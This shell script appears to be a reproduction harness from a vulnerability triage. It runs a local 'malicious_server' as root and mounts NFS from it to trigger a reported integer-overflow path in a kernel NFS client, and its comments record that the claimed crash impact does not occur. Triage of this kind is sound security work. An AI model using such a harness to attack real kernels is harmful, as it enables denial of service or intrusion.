#!/bin/sh
# DF-0775 run — starts the malicious server (as root) and mounts from it
# to trigger the reply-verifier integer-overflow path in the kernel NFS
# client.  Run as root inside the guest.
#
# Expected: NFS operations return "RPC struct is bad" (EBADRPC).
# The guest does NOT panic — see VERDICT.md for why the claimed
# wild-pointer-deref / OOB-read impact does not manifest.
set -e
cd "$(dirname "$0")"

pkill -f malicious_server 2>/dev/null || true
sleep 1

nohup ./malicious_server > /tmp/evil_server.log 2>&1 &
sleep 1
echo "[*] malicious server PID=$(pgrep -f malicious_server)"

mkdir -p /mnt_df0775

echo "[*] mount_nfs -2 ..."
mount_nfs -2 -o tcp,port=2049,ro 127.0.0.1:/x /mnt_df0775 2>&1 &
MPID=$!
sleep 4
kill $MPID 2>/dev/null || true
wait $MPID 2>/dev/null || true

echo "[*] mount status:"
mount | grep mnt_df || echo "(not mounted)"

echo "[*] ls /mnt_df0775:"
ls /mnt_df0775 2>&1 || true

echo "[*] server log:"
cat /tmp/evil_server.log

pkill -f malicious_server 2>/dev/null || true
umount -f /mnt_df0775 2>/dev/null || true